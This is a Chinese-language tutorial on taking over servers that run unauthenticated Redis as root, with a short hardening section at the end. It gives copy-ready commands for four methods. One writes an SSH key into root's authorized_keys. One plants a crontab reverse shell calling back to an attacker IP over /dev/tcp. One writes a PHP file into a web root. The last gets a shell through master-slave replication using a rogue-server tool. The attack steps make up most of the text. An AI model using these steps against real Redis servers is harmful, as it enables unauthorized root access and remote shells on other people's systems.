part_a 写ssh-keygen 公钥登录服务器:
原理:
SSH提供两种登录验证方式,分别是帐号密码登录和密钥验证登录。
所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务 器端,你可以把同一个公钥放在所有想SSH远程登录的服务器中,而私钥是保密的,公钥加密的信息只有私钥才能解 开。
这里主要讲讲密钥验证的登录流程
1.客户端生成私钥和公钥,并把公钥拷贝给服务器端
2.客户端发起登录请求,发送自己的相关信息
3.服务器端根据客户端发来的信息查找是否存在该客户端的公钥,若没有则拒绝登录若有则生成一段随机数使用该公钥加密后发送给客户端
4.客户端收到服务器发来的加密信息后使用私钥解密,并把解密的信息发回给服务端验证
5.服务器判断客户端的解密结果若和刚刚生成的随机数一致则可以登录
条件:
1.Redis服务使用ROOT帐号启动
2.服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入公钥,直接登录进入服务器
redis redis-cli -h xxx.xx.xxx.xx #遍历ip池redis默认端口尝试无密码登录
config get dir #检查当前保存路径
config get dbfilename #检查保存文件名
config set dir /root/.ssh/ #设置保存路径
config set dbfilename authorized_keys #设置保存文件名
set xz "\n\n\n ${your id_rsa.pub} \n\n\n" #将公钥写入xz键
save #保存
然后利用公钥进行SSH登录
ssh -i /root/.ssh/id_rsa root@xxx.xx.xxx.xx
part_b 利用计划任务反弹shell:
原理:
利用crontab,启动的任务存放在/var/spool/cron中,root可以修改计划任务,可以将执行命令反弹shell直接写入crontab中
条件:
1.Redis服务使用ROOT启动
2.Redis无密码或者弱密码
详细步骤:
1.在攻击机监听8888端口 nc lvp 8888
//然后连接目标redis
redis-cli -h xxx.xx.xxx.xx #登录redis
flushall #清楚所有键值
config set dir /var/spool/cron/crontabs/ #设置保存路径
config set dbfilename shell #保存名称
set xz "\n * * * * * bash -i > & /dev/tcp/攻击机ip/8888 0 >&1 \n" #将反弹shell写入xz键值对
save #写入保存路径的shell文件
看到监听的命令行窗口已经有弹回来的shell了
part_c Redis直接写webshell :
条件:
1.知道网站绝对路径,并且需要增删改查权限
2.Redis服务使用ROOT启动
3.Redis无密码或弱密码
redis-cli -h xxx.xx.xxx.xx #连接Redis
config set dir /www/admin/localhost_80/wwwroot #设置要写入shell的路径
set xxx "\n\n\n<?php phpinfo() ;?>\n\n\n" #写入phpinfo()到xxx键
config set dbfilename phpinfo.php
save
part_d Redis主从复制getshell :
原理:
主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上,然后在从机上加载so文件,然后拓展新命令。
条件:
1.Redis版本(4.x~5.0.5)新增模块功能,可以通过C语言编译出恶意.so文件
2.Redis服务使用ROOT启动
3.Redis无密码或弱密码
详细步骤:
1.下载工具https://github.com/n0b0dyCN/redis-rogue-server,下载之后cd进入RedisModulesSDK目录使用make编译(接下来有两种方法交互式shell和反弹shell)
这里就只举例交互shell demo
交互shell
python3 redis-rogue-server.py --rhost ${需要攻击的redis_ip} --lhost ${本地ip} --exp demo.so
##根据提示输入i进入交互shell
ps:redis主从RCE打多了会出现redis瘫痪的情况,所以不到万不得已,尽量不要打主从
修复方案:
1.禁止高危命令(需要重启redis才能生效)
修改redis.conf,禁用远程修改DB文件地址
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
或改变高危命令的名称
rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3"
2.以低权限用户启动Redis服务(需要重启redis才能生效)
3.为Redis添加密码验证(需要重启redis才能生效)
4.禁止外网访问Redis(需要重启redis才能生效)
5.修改默认端口
6.保证authorized_keys文件的安全
为了保证安全,应该阻止其他用户添加新的公钥。
将authorized_keys的权限设置为对拥有者只读,其他用户没有任何权限
chmod 400 ~/.ssh/authorized_keys
为保证authorized_keys的权限不会被改掉,还需要设置文件的immutable位权限
chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名 ~/.ssh,然后新建并覆盖。避免这种情况
chattr +i ~/.ssh
7.设置防火墙策略
正常业务中Redis服务需要被其他的服务器访问,可以设置iptables策略仅允许指定的IP来访问Redis服务
参考链接
https://www.freebuf.com/column/158065.html
https://www.jianshu.com/p/2f56a58a1450
https://blog.csdn.net/qq_33020901/article/details/81476386
https://cloud.tencent.com/developer/article/1488184
https://xz.aliyun.com/t/5665
https://paper.seebug.org/1169/#_3
https://www.anquanke.com/post/id/151203